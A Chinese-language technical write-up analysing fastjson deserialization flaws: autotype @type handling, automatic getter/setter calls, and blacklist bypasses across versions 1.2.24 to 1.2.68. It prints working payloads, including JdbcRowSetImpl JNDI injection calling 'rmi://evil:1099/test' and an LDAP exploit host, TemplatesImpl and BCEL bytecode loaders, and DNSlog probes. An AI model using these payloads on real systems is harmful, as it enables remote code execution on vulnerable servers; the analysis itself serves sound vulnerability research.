最近又碰上了fastjson的题目,想着是时候分析一波这个漏洞了,跟上师傅们的脚步。
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
先来看一个简单的例子
public class Phone {
    public String phoneNumber;
    public Phone() {
    }
    public Phone(String phoneNumber) {
        this.phoneNumber = phoneNumber;
    }
		@Override
    public String toString(){
        return this.phoneNumber;
    }
}
public class NewPhone extends Phone {
    public String location;
    public NewPhone(){
    }
    public NewPhone(String phoneNumber, String location) {
        this.phoneNumber = phoneNumber;
        this.location = location;
    }
    @Override
    public String toString(){
        return this.phoneNumber+":"+this.location;
    }
}
public class Person {
    public String name;
    public Phone phone;
    public Person() {
    }
    public Person(String name, Phone phone) {
        this.name = name;
        this.phone = phone;
    }
    @Override
    public String toString(){
        return name+":"+phone;
    }
}
 
  上面包括了3个简单的对象Person、Phone以及NewPhone,我们用fastjson将Person对象转化成一个json字符串,并还原
Phone phone = new Phone("1234567890");
Person person = new Person("john", phone);
String json = JSON.toJSONString(person);
System.out.println(json);
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);
// output 
// {"name":"john","phone":{"phoneNumber":"1234567890"}}
// john:1234567890
 
  调用fastjson的toJSONString可以轻易地将object转化为json字符串,也可以用parseObject将json字符串还原出来。但是这里有一个限制就是
Phone phone = new NewPhone("1234567890","China");
Person person = new Person("john", phone);
String json = JSON.toJSONString(person);
System.out.println(json);
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);
// output
// {"name":"john","phone":{"location":"China","phoneNumber":"1234567890"}}
// john:1234567890
 
   在上面的写法中,由于fastjson不知道需要还原的Person的Phone是本身还是子类NewPhone,面对这种多态方式,fastjson还原是父类,而不是子类NewPhone。这意味着我们丢失了Json字符串中phone的location字段。这显然是不可忍受的,所以fastjson给我们提供了指定还原类的字段 @type 方法 
Phone phone = new NewPhone("1234567890","China");
Person person = new Person("john", phone);
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(json);
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);
// output
// {"@type":"org.vultest.base.Person","name":"john","phone":{"@type":"org.vultest.base.NewPhone","location":"China","phoneNumber":"1234567890"}}
// john:1234567890:China
 
   通过在toJSONString的时候指定SerializerFeature(SerializerFeature.WriteClassName),使得转化后的json字符串多了 @type 字段。这个字段指代了当前类的class,避免了上面的子类丢失字段的问题。比如上面直接指定了Person对象的phone属性的类是NewPhone,还原后成功打印出location。 
 到了这里,我们可以思考一下,如果 @type 被指定为某恶意的类,是否会导致任意代码执行的漏洞? 
这里直接参考 https://paper.seebug.org/994/
用一下廖大的流程图
  
 
具体的分析过程看上面的那篇文章即可,这里提一下将ASM动态生成的代码dump出来的方法
在分析过程中,ASM动态生成了相应的bytecodes,这里用idea的断点来dump源码
 先将断点下在 com/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory.java#80 
  
 
 生成的bytecodes在code里,用执行表达式的功能,执行 (new FileOutputStream("some.class")).write(code) 即可生成 
  
 
类似Java的反序列化过程会自动调用readObject函数,fastjson还原对象时也会自动调用以下几个函数:
这里需要区别的是fastjson所使用的parse函数和parseObject函数所调用的函数条件是不一样的。(ps:序列化时会调用所有getters)
来看一下parseObject函数
  
 
 这里parseObject函数会首先调用 JSON.parse 函数,然后再去调用 toJSON 函数。 
 这里 toJSON 会把obj套一层 JSONObject 对象,他的实现方法是先new一个 JSONObject ,把obj对象给填充进去;然后调用 toJSONString 把生成的 JSONObject 转化为json字符串;最后再调用 parse 函数将这个json字符串给还原。 
 这里的 toJSONString 是我们序列化的一个过程,他会去调用这个对象的所有getters,也就意味着 parseObject 函数会主动去调getters和setters,而 parse 函数则会调用这个对象的setters和符合条件的getters(这部分见后文)。 
 那么也就意味着, parseObject 比 parse 函数多了一个调用所有getters的利用点。 
 接着我们来看一下 JSON.parse 函数自动调用getters和setters的逻辑。 
先来看一下调用流程,以下分析fastjson版本1.2.24
 com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#deserialze (ps:这里很鸡贼的把deserialize的i给省略了) 
  
 
首先是第570行调用了createInstance函数,该函数将会对当前还原的类进行实例化,这里会自动调用无参数的构造函数
其次是第600行调用了parseField函数,该函数将对每个类属性进行初始化(或递归生成新的对象)
跟进parseField函数
  
 
 这里调用了 com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField 函数,直接看关键点第83行,调用了setValue函数 
  
 
setValue函数就是fastjson自动调用getter和setter的关键点
  
 
如果不存在相应的getter、setter、is函数,则利用反射机制将value赋值到当前的object上(这里就是else部分做的事情)。
而当fieldInfo存在函数时,如果同时存在getter和setter,则调用setter,如果只存在getter则调用getter。
 这里我们关注一下fieldInfo的method是怎么填充的呢?这里要看 com/alibaba/fastjson/util/JavaBeanInfo.java#build 函数,ParserConfig在 createJavaBeanDeserializer 函数中会调用 JavaBeanInfo.build 函数,以此填充fieldInfo,也就是我们需要分析的几个method。 
不看具体的代码,写一下筛选的条件:
setter提取条件:
unicde 或者 _ 或者字母f;如果函数名长度>=5,看第5位字符是不是大写的 getter提取条件:
 经过上述的两个条件提取后,保留了符合条件的getter和setter,并于 com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue 函数中invoke调用,也就是说实现了类似反序列化过程中主动调用readObject函数的效果。 
 知道了上述的条件,其实我们可以利用传入某字段的方式来主动调用相关符合条件的setter和getter。例如在Person里面添加一个setTest函数,并在需要转化的json中添加 "test":1 ,将会主动调用 setTest 。 
 我们在利用 @type 构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。 
这里的突破思路主要有两个:
 这个poc巧妙的利用了 JSONObject.toString 函数,先来看看这个 toString 
 这个 toString 继承自 JSON 
  
 
 这里他直接调用了 toJSONString 函数 
  
 
 看到后续他将当前这个JSONObject实例进行了obj to str的操作,也就是我们使用静态函数 JSON.toJSONString 来序列化数据一样,这里将会调用当前这个类的所有符合条件的getters(这里的条件比调用parse时宽松,他对返回类型无限制)。 
那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了
 com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject 
  
 
 这里有一处如果当前object为JSONObject类型时,将会对当前的这个key调用 toString 函数。这里在处理过程中,我们可以知道如果遇到 { ,fastjson会加一层JSONObject。 
  
 
那么,我们只需要构造一个类似
{{some}:x}
 
   这种方式,此时的key为 {} (也就是下一层的JSONObject),value为 x 。我们就可以使得fastjson去调用 key.toString 函数,这个 toString 的过程也就是将key调用 toJSONString 的过程,意味着将会调用当前key对象的所有getters。到这里我们就可以使parse函数拥有与parseObject一样的执行效果,以下面的poc为例。 
{// 第一层JSONObject,他的key为另外一个JSONObject
		{// 下一层JSONObject,他的内容将会调用toJSONString
			"x":{// 具体触发点为getConnection
				"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
				"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},		
        "driverClassName": "$$BCEL$$$l$8b$I$A$..."
         }
     }:"x"
};
 
  $ref 点  当fastjson版本>=1.2.36时,我们可以使用 $ref 的方式来调用任意的getter 
 以1.2.48版本为例,首先看一下遇到 $ref 是怎么处理的 
 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject#388 
  
 
 当遇到引用 $ref 这种方式,会增加一个resolveTask,留在parse结束后进行处理 
 com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask 
  
 
 调用 JSONPath.eval ,关于JSONPath的 介绍 
 这里的eval函数最终会去调用 JSONPath.getPropertyValue 函数(这里其实是可以根据我们传入的内容去调用不同的Segement,比如这里用了 $.value 的方式使用的是PropertySegement) 
  
 
后续就不详细分析了,这里如果存在相应的getter,就会去invoke这个函数;如果没有,那么就会用反射机制去获取属性的值。
这里举个例子
json = "{" +
          "/"@type/": /"org.apache.tomcat.dbcp.dbcp.BasicDataSource/"," +
          "/"driverClassLoader/": {/"@type/": /"com.sun.org.apache.bcel.internal.util.ClassLoader/"}," +
          "/"driverClassName/": /"$$BCEL$$$l$8b$I$A$.../"," +
          "/"connection/":{/"$ref/": /"$.connection/"}"+
				"}";
 
   会去调用 getConnection 函数,这里也突破了parse到parseObject的效果 
 还有一点需要注意的是默认fastjon在转化时,如果没有setter函数,而是以反射机制来赋值的情况,会忽略private属性的转化。意味着如果我们在构造过程中,填充进去的属性是private的且没有setter,那么在转化过程中是不会被填入还原后的对象的。如果需要对private属性进行转化,那么需要设置 Feature.SupportNonPublicField 
相比于Java反序列化利用链构造的复杂性,fastjson利用链主要是寻找可利用的getter、setter等,常见的几种POC如下文所示:
参考: http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
根据前面的分析,我们需要找到可以利用的构造函数、setter或getter函数。在分析Commons-Collections系统的利用链时,提到过templatesimpl的执行方式,通过载入bytecodes的方式来达到任意代码执行的效果(具体不再分析)。
 其中触发载入的函数为 newTransformer 函数,而很巧的是,templatesimpl存在一个getter调用了该函数 
  
 
 那么很明显,我们可以直接填入 outputProperties 的方法来触发 getOutputProperties (他恰巧无setter,返回值也符合条件)。但是有一个问题是我们需要填充的类属性都是private类型,要想执行该利用链,需要在调用parseObject函数时填入 Feature.SupportNonPublicField 。以下图为例,将调用计算器 
String jsonString = "{/"@type/":/"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl/"," +
        "/"_name/":/"goodjob/",/"_tfactory/":{}," +
        "/"_bytecodes/":[/"yv66vgAAADQAOgoAA.../"]," +
        "/"_outputProperties/":null}";
 
   这里的bytecodes可以用ysoserial工具来生成。在构造payload的时候,需要注意的是 _tfactory 必须填上,因为在执行过程中,如果它为null,会报错无法进入载入bytecodes的步骤。非常好的是,我们只要填上 _tfactory:{} ,fastjson会自动帮我们调用TransformerFactoryImpl( tfactory的类)的无参构造函数进行实例化。`/ `在smartMatch函数被替换为空。 
除此之外,byte[]类型在fastjson转化中会被base64编码
  
 
所以payload中是一长串base64的字串。
 可以看到这个poc其实限制还是挺大的,需要fastjson parseObject时填上 Feature.SupportNonPublicField 才可以。 
 我们都知道如果JNDI的lookup函数参数值可控,那么我们可以利用JNDI Reference的方法加载远程代码达成RCE利用。所以根据前面的分析,如果我们可以在 无参构造函数 、 符合条件的setter 、 符合条件的getter 里发现一个可控的lookup函数,我们就可以利用JNDI的注入方法来达成利用。 
JdbcRowSetImpl对象可以被我们用做上述的利用,来看一下他的代码
  
 
这次出问题的地方在于setAutoCommit函数,该函数调用了connect函数来重新发起一个jdbc的连接
  
 
 在connect函数里我们可以看到调用了lookup函数,其参数值由 getDataSourceName 来获取,该函数主要返回属性 dataSource ,根据fastjson的利用原理,我们只需要填充 dataSource 和 autoCommit 就可以触发这里的JNDI注入。 
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil:1099/test","autoCommit":true}
 
   还有很多其他的可以用来JNDI注入的对象,比如 org.hibernate.jmx.StatisticsService 的 setSessionFactoryJNDIName 函数,原理一样不再叙述。 
同1中的TemplateImpl,BasicDataSource也可以载入任意的对象来执行任意代码。先来讲一下他的原理
 前面的基础知识里提到了我们可以调用符合条件的getters,在 BasicDataSource 存在一个 getConnection 函数,他主要调用 createConnectionFactory 
  
 
 在 createConnectionFactory 函数使用Class.forName加载类 
  
 
 这部分driverClassName和driverClassLoader是可控的,这时候我们要用到的是 com.sun.org.apache.bcel.internal.util.ClassLoader ,这个ClassLoader可以从classname中提取出BCEL格式的class字节码,并调用defineClass进行载入 
  
 
这里我们可以写一个用了静态块的类来执行代码。
这一部分主要讲述几个重要版本的安全更新
 默认关闭 AutoType ,需要手动开启 @type 的支持,见 enable_autotype 
 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 
  
 
 当遇到 @type 时,会先 com.alibaba.fastjson.parser.ParserConfig#checkAutoType 。该函数的一个主要逻辑(1.2.25版本) 
 开启了 AutoType 时,会过一次黑名单和白名单检测(先检测白名单,后检测黑名单)。 
  
 
优先载入人工配置的白名单类,并对黑名单类爆出异常;
 这里先忽略未开启 AutoType 时的检测处理 
 前面的情况都不符合,并且开启了 AutoType ,则尝试去载入任意类,但是不可以载入ClassLoader和DataSource的子类 
  
 
 这里载入的方法用的都是 TypeUtils.loadClass ,来看一下他的一个处理 
 首先他对于 Lxxx.class.xxx; 的类表示方法做 L , ; 的剔除,递归调用loadClass去调用内部的具体类 
  
 
 后续的调用方法为使用 AppClassLoader.loadClass 或 Class.forName 去加载类 
AutoType 的情况下绕过黑名单检测  根据上面的分析,如果开启了 AutoType ,那么如果是在白名单里的类,直接加载,对于在黑名单内的类直接抛出异常。 
 而黑名单的检测方式是去匹配当前的类名 class.startsWith(deny) 
  
 
 而在这个黑名单里显然并没有考虑到 TypeUtils.loadClass 实现中,对于 Lxxxx.class.xxx; 的处理。 
 通过 Lxxxxx; 的方式 startsWith 没办法正常匹配出来,所以我们可以绕过黑名单的检测。 
在这个版本,对上面的黑名单检测绕过做了修复,并且将黑名单里的类型进行hash处理,增加了分析难度;
 对于前面 Lxxxxx; 的绕过,42版本添加了以下代码来剔除(因为黑名单已经变成了hash比较的方式,这里 L; 都以这种方式来确认) 
  
 
 但是这里的处理治标不治本,我们使用 LLxxxxx;; 这种方式就可以绕过。 
除此之外,由于现在的黑名单变成了hash计算的方式,给我们分析增加了不少难度,不过有大佬对黑名单hash做了还原见 fastjson-blacklist
 这个版本主要修复了上面 LLxxxx;; 的方式 
  
 
 做了两次检测,如果碰上 LLxxxxx;; 的方式则直接爆出异常 
 在48版本之前, checkAutoType 还存在这样一个逻辑(以1.2.47为例) 
  
 
 当开启 AutoType 时,如果mappings里面存在这个类,那么就算这个类在黑名单里,也允许他进行下一步操作 
PS:这里的mappings是fastjson提早载入的一些缓存类
  
 
后续如果能从mappings里面得到这个类,就直接返回。那么我们有没有什么方法将我们需要的类加入到这个mappings里呢?
 先来看一下 deserializers.findClass ,在 deserializers 里面预先填充了一些类与其反序列化器的实例 
  
 
 这里我们主要关注一下 Class.class ,他所对应的反序列化器为 MiscCodec , checkAutoType 检测过后,后续将调用反序列化器的 deserialze 函数。来看看MiscCodec的这个函数对于 Class.class 的处理 
  
 
 他调用了 TypeUtils.loadClass 函数,前面我们讲过,他将使用 ClassLoader.loadClass 或 Class.forName 来载入类,在这一过程中,涉及到了 mappings 的操作 
  
 
  
 
 这里的 cache 默认为 true ,所以这里会直接将载入后的对象填入 mappings 
 根据我们前面的分析,如果当前 mappings 里存在可控的类,那么不管开没开启 AutoType ,都会进行类还原;同时我们利用 Class.class 可以向 mappings 填充任意类,这导致绕过了前面的检测; 
// 举个例子
json = "{" + // 用Class载入com.sun.rowset.JdbcRowSetImpl,并缓存到mappings
          "{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"}," +
  					// 后续使用mappings里的com.sun.rowset.JdbcRowSetImpl来还原对象
          "{/"@type/": /"com.sun.rowset.JdbcRowSetImpl/"," +
          "/"dataSourceName/": /"ldap://localhost:1389/Exploit/"," +
          "/"autoCommit/": true}" +
        "}";
 
  在1.2.48版本上对其进行了修复
 在 MiscCodec 对Class的处理中,修改了 cache=false 
  
 
 并且对于 TypeUtils.loadClass 里的 mappings 操作都依赖于 cache ,如果为 false 则不添加到 mappings 里(在前面的版本里 Class.forName 部分并不依赖cache,48版本之后增加了对cache的判断) 
 与此同时, java.lang.Class 也被加入到了黑名单里面 
后续版本的绕过主要围绕在:
AutoType ,绕过黑名单检测 deserializers 里面的类(跟 Class.class 一个原理)  最新版1.2.68引入了 safeMode ,在 checkAutoType 里添加了下面判断,如果开启了safemode,那么将不允许进行 @type 
  
 
不过这个并不是默认开启的,需要人工去配置。
fastjson < 1.2.60 dos Fastjson-1-2-60-Dos
使用dnslog来检测fastjson漏洞 https://github.com/alibaba/fastjson/issues/3077
 这里的原理跟 Class.class 是一样的,只是换成了 java.net.URL 、 java.net.Inet4Address 、 java.net.Inet6Address ,由MiscCodec处理时会去触发dns查询 
当然这里的触发URL的触发用的ysoserial里面的URLDNS的方式,由hashcode去触发;
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"http://s81twxdise25yxjinqaar74iq9wzko.burpcollaborator.net"}:"aaa"}
 
    到这里fastjson相关的知识点就梳理结束了,这其中开发者与安全研究人员的攻防交互真是令人称快!后续如果有其他的绕过,还会继续写下去。
总结一下fastjson利用中的特色:
com.sun.org.apache.bcel.internal.util.ClassLoader